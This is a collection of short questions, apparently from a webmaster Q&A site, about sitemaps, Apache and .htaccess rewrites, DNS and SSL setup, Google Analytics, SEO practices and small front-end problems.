We recently uploaded new sitemaps, as the old ones were out of date and we've also upgraded our forum which changed the URLs of a lot of our website (we're 301 redirecting of course). We uploaded the site map a few days ago. Initially the indexing seemed to be going well, but it paused on the numbers below here and appears to have been stuck here for over 24 hours: ![enter image description here](http://i.stack.imgur.com/3cKyf.jpg) Is this normal? Unfortunately, the users sitemap is probably the least important one but appears to be the bulk of the indexes so far. Should we give it a bit more time, or perhaps make the links we consider more important a higher than 0.5 priority? You can view our sitemaps here: https://www.scirra.com/robots.txt


Google webmasters report links to my site, which don't exist

Today, I logged in to my Google's webmaster tools, and I saw that it reported an unusual inbound links to my site. I saw some of them and navigated to them and tried to find the link to my site, but I couldn't find anything. Is there anything wrong with Google here? Have you experienced the same thing? What should I do?


Apache, Rewrite Rule and Directories

I'm using the current virtual host:               <VirtualHost *:80>         ServerAdmin webmaster@mysite         ServerName example.co.uk         ServerAlias www.example.co.uk         DocumentRoot /home/example.co.uk/htdocs/         <Directory /home/example.co.uk/htdocs/>                 Options -Indexes FollowSymlinks MultiViews                 AllowOverride All                 Order allow,deny                 allow from all         </Directory>         ErrorLog ${APACHE_LOG_DIR}/example.co.uk/error.log         LogLevel warn         CustomLog ${APACHE_LOG_DIR}/example.co.uk/access.log combined     </VirtualHost>      Within the .htaccess in the root I'm using `RewriteRule ^enquiries$ /enquiries.php` amoung several other redirects. Somehow I have also a directory named "enquiries" (/home/example.co.uk/htdocs/enquiries/), and when I hit the URL `www.example.co.uk/enquiries` I get:               HTTP/1.1 301 Moved Permanently     Date: Mon, 10 Dec 2012 18:53:37 GMT     Server: Apache/2.2.16 (Debian)     Location: http://www.mysite.co.uk/enquiries/     Vary: Accept-Encoding     Content-Type: text/html; charset=iso-8859-1      Any browser would also display the directories content. I could easily rename the folder and get it sorted, but I would like to understand what's going on here. What would be the correct way to configure Apache in a way that it wont behave this way? If I did not explain myself clearly, please feel free to ask more questions, I'd be happy to answer them. Thanks!


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I just installed MAMP on Mac OSX 10.8.2. When it is started, I'm not able to access the server through `http://localhost:8888` but when I visit `http://127.0.0.1:8888/` and it works fine. Why is it so? and how can I make it work with when I type `http://localhost:8888`


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open source plugins,scripts store information?

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Setup Reverse DNS with Cpanel and WHM?

I needed to set-up a reverse DNS via cpanel. I followed the steps in this tutorial but it didn't work: http://docs.cpanel.net/twiki/bin/view/11_30/WHMDocs/RdnsForBind. I use my own name servers registered with go-daddy. But I am with VPS hosting company. I did use a new serial number and exactly as the tutorial however didnt seems to be working When I check this via windows               nslookup {ip-address}      I still get the my hosting company name, when reversed.


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I have a Drupal website serving mobile pages from different urls (starting from /mobile). According to Google recommendations I should use the canonical tag to map desktop and mobile pages. Right now I did this in case I serve the same node (e.g: node/123 and mobile/node/123) but should I do this for other pages as well that are equivalent but share a different content? For example do I need to map the desktop and mobile homepages even if they don't have the same content at all?


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I have changed the main domain to a sub-domain & would like to re-direct all external links to the new sub domain. Have read a few articles but having no luck editing the .htaccess as it might be interfering with all the rules in there. Old: `www.example.co.uk`   New: `https://secure.example.co.uk` The current rules are quite handy because it seems to have sorted out the structure for all internal links. It has even updated the file path for images (or this could just be wordpress as the url was updated under general settings). This is the current .htaccess               <files wp-config.php>     order allow,deny     deny from all     </files>     # BEGIN WordPress     <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /index.php [L]     </IfModule>          # END WordPress


Second step of a funnel higher than first step in Google Analytics

I have a problem with the funnels in Google Analytics. So I have a e-commerce website that I want to track the user path to a purchase. I want GA to track if a user goes trough these steps **[Item page]** → **[Purchase]** → **[Checkout]**. I thought this could be done by funnels and my setup currently now consist of:   Step 1: **[Item page]** (Required)   Step 2: **[Purchase]**   Goal: **[Checkout]**   But when I go to the "Funnel Visualization Report" the following shows.   **[Item page]** Visits: 150   **[Purchase page]** Visits: 170   **[Checkout]** Visits: 32 How can the **[Purchase page]** be higher than the **[Item page]**? I searched the internet over, and found something called **Horizontal Funnels** but this doesn't show the correct numbers, again the purchase and checkout steps are higher than the item page. So somehow it doesn't need step 1, to fulfill the funnels/goals. What am I doing wrong?


Should each page of a Blog listing have its own Title

Should example.com/Blog?Page=1, example.com/Blog?Page=2, etc have the same title? I have done some research on this and SEOMoz's tools say I have duplicate titles and so does Google's Webmaster tools. If you look at top end examples like http://www.seobook.com/blog and http://www.seomoz.org/blog they both use the same title across all query of their ?Page=X URLs. So what is the better choice or does it even matter?


Robots.txt got changed to disallow crawling by accident

Our _robots.txt_ mistakenly got changed to:               User-agent: *     Disallow: /      This occurred about 2 weeks ago and was changed back yesterday to allow crawling. Our listed pages in the Googles have decreased substantially, though it looks like Google has already started adding more search results for the site in question since changing the _robots.txt_ back. Are there long term repercussions of this happening, or will everything get back to normal once the site is crawled again?


Meta Descriptions not working for google search

I have unique meta descriptions on each of my pages, and when I search my site in google it will come up with no description. Any idea what I might have done wrong?


301 Redirect vs. Domain Fowarding GoDaddy

I have a domain that is registered (but not hosted with GoDaddy). Previously, it used GoDaddy's domain forwarding to forward the domain to a google sites domain, but I would now like to use a 301 redirect on the domain. **What I've Tried** - I was looking at how to make .htaccess 301 redirects, but then I noticed the following on GoDaddy when looking at the domain forwarding. ![enter image description here](http://i.stack.imgur.com/7W8hR.png) This looks as though it is using a 301 redirect. Is this sufficient to serve as a 301 redirect? Essentially, is it the same thing?


Where does Apache get the 'last modifed' date for its automatic indexes?

I have a Solaris server running Apache, and I am using the following .htaccess to generate automatic indexes.               Options +Indexes     # SET INDEX OPTIONS     IndexOptions +NameWidth=*      Where does the "Last modified" date come from in the index that is generated? ![index screenshot](http://i.stack.imgur.com/NgQrv.png) It does not appear to be from any of the filesystem dates. ![filesystem screenshot](http://i.stack.imgur.com/jchn1.png) Note that I copy these directories to this location. It seems to be showing the creation date for the directory that I copied, not the date that I copied it. If it's not the atime, ctime, mtime, or crtime, where does Apache find this date?


General question as a new webmaster

I am wanting to make my own social forum for friends and workers. I will have about 10,000-15,000 users. I have never made a forum on such a high scale and to this point have only been a developer with PHP. I have also worked with MySQL, HTML, JS and CSS. How can I handle any sort of hacker attacks or attempts made to stealing my user's private data? What Webhosting service do you know of or recommend that I deploy my site onto for decent service and confidentiality? I am located in Canada but my users will be within North America. From your experience, if you have any tips or advice for this newbie webmaster I would be more than happy to take it all in.


Privacy Policy for english site located in france, owned by italians

i'm really in trouble with the Privacy Policy of my site, cause i'm wondering, if my site is written ONLY in english language, then is located on a french server, then is owned by italians people, what the language of the privacy policy must be and which the laws to follow (i guess italian privacy policy law)? I think i need to put in the italian privacy policy law in italian language, or should i translate that from italian to english or put that with both the translations (italian/english)? The site can be accessed from wherever in the world you are, so potential visitors will be from allaround the world. thank you.


Good Compression for Slow-mo Video

What's the best way to deliver super slow-motion video to the browser? This seems to me to be a special case, because with super slow-mo video (such as 10,000 frames per second) the visual difference from frame to frame is minimal. As such, it's easy to compress highly. Please suggest codecs, as well as encoding software, backend software, software configuration tips, and services like youtube. My goal is to get about 100 frames of QVGA video to the browser in 500KB. By the way, remember that Radiohead In Rainbows site?


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I've made a subsite which runs under `mydomain.com/subsite` - idealy from an architecture point of view it would be under a subdomain, but we wanted the links to come back to the main domain. The sub site has a completely different design, and layout, and has a 404 page that is in keeping with the rest of it. How can i set the 404 for the `/subsite` subdirectory, without affecting the root domains 404 settings in the `.htaccess` file.


Why don't social news websites like Reddit or Hacker News show up more in Google results?

It's well known that Google tends to favor user generated content, so Wikipedia, StackExchange and so on often come up as the top results. However, I've noticed that I rarely ever see Reddit or Hacker News showing up despite the quality discussions going on over there. Is there any reason for that? Is it due to poor SEO? In general, what could trigger Google to generally ignore these two websites?


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I am designing the menu for a web site, and I was hoping to find an SEO- Friendly way to implement the Responsive Design used here: Ask4Sam.net- Responsive Design Example As you can see, for large resolutions the navigation menu is an unordered list of buttons, however to save space at smaller resolutions it becomes a drop- down menu. I think this is a great effect, but the only ways I can think of to implement it are- A) Use CSS Media Queries and set Display:none to hide one menu and show the other, B) Use Javascript to hide the unused menu or C) Use jQuery to remove one menu from the DOM and dynamically insert the other on resize. However, I'm worried about duplicate menus and hidden content giving the site an SEO penalty. Is one of these techniques SEO-Friendly? Is there another technique that is better than these?


Htaccess - Rewrite png to php file

I currently use `trans.png.php?id=1&campaign=test` to track my newsletter campaigns. I want to use trans.png instead as it's the src of an img tag. How can i do this in htaccess? Also is there any way I can disguise the get variables?


Is a "back" link on each page really needed?

I saw some sites having a `<<back` link on each page below the site top level that basically just invokes a JScript function that gets the browser history and navigates one page back. So it functions exactly as a browser "Back" button would. To me it makes no sense - it just duplicates an already existing thing. I tried to talk to several web designers - they all claim that it improves navigation so that the user doesn't get lost. I always used the browser "Back" button and it just worked. Is such link really helpful? How is it better than just a browser "Back" button?


Point GoDaddy DNS to other DNS master for new subdomain

I have a domain `domain1.com and` am creating a new subdomain `sub.domain1.com` and this subdomain has it's own DNS, NOT GoDaddy's DNS. I manage `domain1.com` DNS in GoDaddy right now and need to tell it that anyone looking for `sub.domain1.com` should go to ip `y.y.y.y` (master) or ip `x.x.x.x` (backup/slave). Is there a way to do this? I am a little familiar with how the DNS for .com points to the masters on the internet but I just need the `domain1.com` to tell people where the master is for `sub.domain1.com`. I think I know how to, roughly, do this in bind9, but needed a quick solution for how to do it on GoDaddy.


Documented Web Site Design Process

Is there any well documented process to be used in web site design projects?


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I created a new Adwords campaign but it's getting rejected because of the reason: _[Destination URL] Invalid HTTP Response Code_ I used fiddler2 to see what could be up with the response codes but nothing fishy came up except maybe for an HTTP Code 302. for those curious the page is atommagnet dot com.


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Does Google handle featured images as duplicate content?

I own a photography website and for each post I attach a featured image that is exactly like the original one but much smaller. Does Google count the featured image as duplicate content?


Is RapidSSL WildCard Cert suitable for my eCommerce Web site?

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I have a wildcard (*.domain.com) SSL certificate installed on my CPanel server. I have domain.com configured to point to /domain.com as its document root and use this wildcard SSL certificate. I also have sub.domain.com configured to point to /sub.domain.com as its document root. Btw, I have not explicitly configured configured sub.domain.com to use the wildcard SSL certificate. When I go to "http://sub.domain.com" it goes to the correct document root, however my problem is that when I go to "https://sub.domain.com" it goes to the incorrect root, it goes to the root configured for the wildcard SSL. I've been trying to find information on how to go about configuring sub.domain.com to use the SSL certificate and go to the correct document root, however, so far I haven't found anything concrete. Do I use the same steps that I used for configuring the certificate for domain.com, but use the same certificate again and specify dev.domain.com as the domain that this certificate is for (instead of *.domain.com)? Or is there something else I should be doing? This is a production server, so I don't want to play around too much. I'm hoping to find the correct information before proceeding.


Embedded Internet Explorer

I am developing a web page that must be opened in a software that uses the Embedded Version of the Internet Explorer. How does the Embedded Internet Explorer work? Does it come installed with the software I am going to use or it uses the regular Internet Explorer of my system?


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I recently had my Google Adsense account disabled for (apparently) invalid click activity, even though I had done nothing wrong. Although I have appealed for the reinstatement of my account, I am still blocked. Is there any other Ad Publishing service I could use?


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I have a Heroku app that is located at myapp.herokuapp.com. I have mapped a domain name to this app, using the A properties. I followed the instructions on Heroku's website to the letter, and it worked for a few days. Now when I try to access the site from the custom domain, it's timing out! On Chrome, I am getting "Oops! Google Chrome could not find that page!" message. I tried pinging the name as well, but I got this error: > ping: cannot resolve yourhostname.org: Unknown host The app itself is working and I don't see any error messages from Heroku. Or from new Relic. What's going on here? Also tried running `host` and this was the error message: > ;; connection timed out; no servers could be reached


Javascript Geomap?

Are there any javascript geomaps like this one (which is in flash)? http://code.google.com/apis/visualization/documentation/gallery/geomap.html Thanks in advance


How important is the text on your frontpage for SEO?

I see many cool funky websites these days who have good page rank, but have little to no text on their homepage. It's been my understanding for a while now that search engines parse through your text and gather keywords to gain information on the relevancy of your page for a specific search query, but how are these sites getting around this when they have no text on their homepage? Is my understanding of SEO out of date (I am assuming this is likely), and if so, what SEO approach can I use if I wanted to redesign my site to have little to no text on the homepage?


Find 4chan post linking to your website?

I looked in my visitor statistics and saw that some people were coming from `boards.4chan.org`. Hmm, interesting. I'd like to see that post... Is there any way to find it?


Impact of simplifying a URL structure

My website is a directory with an extensive URL structure with several location-based tiers followed by an establishment name. E.g. /guide/qld/gold-coast/gold-coast-central/surfers-paradise/restaurants- dining/salt-grill This seems to work for the search engines but it throws up a range of problems that I would like to fix. The above link would 301 redirect to this: /establishment/1234/salt-grill That way, if an establishment changes it's name or the political boundaries change, it can still be found and a canonical href will be used. This will cover establishments appearing in multiple categories, in much the same way Ashoka found out here: here I should note, the results pages have the same URL structure and I do not intend to change that. From what I see, Google isn't displaying sitelinks relating to this structure. The question is, will Google throw a strop if I remove the locational hierarchy from establishment URLs? I have received conflicting advice on how to handle this change, hence throwing it out for community opinion.


Can I POST to a new window that I want to open up?

Is this possible?   1. A third party site is running my Drupal module   2. An end user clicks on a link which will:   3. Open up a new window www.mysite.com/redirect.php   4. and POST certain data to this page www.mysite.com/redirect.php I've seen the user's browser being redirected, but am not clear on how to do the above.


Is it possible to shut down a site and then reuse the old URL on a new site?

I am creating a web site for a friend's business. He already has a site, but it is a wizard-created site hosted free by Yahoo. I am creating am ASP.NET site from scratch. He wants to retain his URL - is that possible? Can he "release" the current URL (shut down that site) and then "reuse" it in the guise of the new site?


Reverse iframe breakout

I have around 500 pages, some of which are simply PDF files, that are meant to be viewed within an `iframe` on a seperate domain parent page (files are subdomained, however reside on a different server). What would be the best way to force the following behavior: If a user visits any page within this subdomain, and that is **not** in the `iframe` of the main site, to either show a link to the main site, or force redirect to the main site (301?) What would be the proper SEO way to make sure that the items hosted on the subdomain are properly referenced to the main domain? As a side note, the subdomain can use any PHP necessary, however the main domain cannot use PHP (which is why the whole subdomain route is necessary).


How do search engines treat out-tracked links

Some websites have out tracking / outgoing click tracking so that when you click on a link such as mysite.com on example.com you momentarily get taken to example.com/outgoing/mysite.com which then redirects to mysite.com. All this does is enable the example.com's owners to see which links people were leaving the site by, by checking the analytics of that outgoing page. But how does this effect back linking, will a search bot be able to recognize this and count is as a normal backlink to mysite.com ?


Can I use asterisks in URLs?

Are there any reasons I shouldn't use an asterisk (`*`) in a URL? _Background:_ With asterisks, I could provide these nice and user friendly (or what do you think??) URLs:   * `example.com/some/folder/search-phrase*`   means _search for pages with names starting with "search-phrase", located in /some/folder/_.   * `example.com/some/**/*search-phrase*`   means _search for any page with "search-phrase" anywhere in its name_.   * `example.com/some/folder/*`   means _list all pages in /some/folder/ (rather than showing the /some/folder/index page)_.


How to prove someone is a Realtor on my website

My boss would like me to have some sort of a "login" for Realtors. The point is to have a certain portion of the site only available to Realtors. Initially he thought we could check their name and license number, but that information is publicly available (usually on their business card). Is there a global database I can link to that all Realtors are a part of, or some other way that I can make sure someone is a Realtor before forwarding them to the appropriate section of the website? This needs to function for Realtors in all states of the United States. I'm not sure that such a national database even exists, and if it does, how I would be able to access it. Thank you for your time and input!


Format numbers with css

Is it possible to format numbers using css ? When I have `7000000.00`, I would like it displayed as `7 000 000.00` I know I could write a backend (php, perl...) function or a javascript function that could return the formatted number but... The numbers that I want to format are into a cell. I would like to have something like `<td class="myformat">7000000.00</td>`   or   `<td><span class="myformat">7000000.00<span></td>`